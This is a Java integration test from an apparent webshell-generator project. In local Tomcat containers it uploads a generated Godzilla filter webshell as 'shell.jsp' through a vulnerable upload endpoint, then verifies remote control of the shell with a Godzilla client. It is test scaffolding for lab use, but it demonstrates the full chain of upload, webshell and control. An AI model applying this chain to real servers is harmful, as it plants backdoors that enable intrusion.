import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.utility.MountableFile;
import java.io.IOException;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.stream.Stream;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class TomcatGodzillaIntegrationTest {
OkHttpClient client = new OkHttpClient();
@TestFactory
Stream<DynamicTest> testContainerDeployments() {
return Stream.of(
createCustomContainerTest("tomcat:8-jre8"),
createCustomContainerTest("tomcat:9-jre8")
);
}
@SuppressWarnings("all")
private DynamicTest createCustomContainerTest(String imageName) {
Path warPath = Paths.get("../vul-webapp/build/libs/vul-webapp.war").toAbsolutePath();
return DynamicTest.dynamicTest("Test " + imageName, () -> {
try (GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(MountableFile.forHostPath(warPath), "/usr/local/tomcat/webapps/app.war")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080)) {
container.start();
String host = container.getHost();
int port = container.getMappedPort(8080);
String url = "http://" + host + ":" + port + "/app";
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
.pass("pass123").key("key123")
.headerName("User-Agent").headerValue("hello_integration_test")
.build();
String jspContent = generateGodzillaFilterJsp(shellConfig);
String filename = "shell.jsp";
uploadJspFileToServer(url + "/upload", filename, jspContent);
verifyContainerResponse(url + "/" + filename);
testGodzillaIsOk(url + "/" + filename, shellConfig);
}
});
}
private String generateGodzillaFilterJsp(GodzillaShellConfig config) {
Server server = Server.TOMCAT;
ShellTool shellTool = ShellTool.Godzilla;
String shellType = TomcatShell.FILTER;
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config);
JspPacker jspPacker = new JspPacker();
return new String(jspPacker.pack(generateResult));
}
private void verifyContainerResponse(String url) throws IOException {
Request request = new Request.Builder()
.url(url).build();
try (Response response = client.newCall(request).execute()) {
assertEquals(200, response.code());
}
}
@SneakyThrows
private void uploadJspFileToServer(String uploadUrl, String filename, String fileContent) {
RequestBody fileRequestBody = RequestBody.create(fileContent, MediaType.parse("text/plain"));
MultipartBody requestBody = new MultipartBody.Builder()
.setType(MultipartBody.FORM)
.addFormDataPart("file", filename, fileRequestBody)
.build();
Request request = new Request.Builder()
.url(uploadUrl).post(requestBody)
.build();
try (Response response = client.newCall(request).execute()) {
assertEquals(200, response.code());
}
}
private void testGodzillaIsOk(String entrypoint, GodzillaShellConfig shellConfig) {
try (GodzillaManager godzillaManager = GodzillaManager.builder()
.entrypoint(entrypoint)
.pass(shellConfig.getPass())
.key(shellConfig.getKey())
.header(shellConfig.getHeaderName(), shellConfig.getHeaderValue()).build()) {
assertTrue(godzillaManager.start());
assertTrue(godzillaManager.test());
} catch (IOException e) {
e.printStackTrace();
}
}
}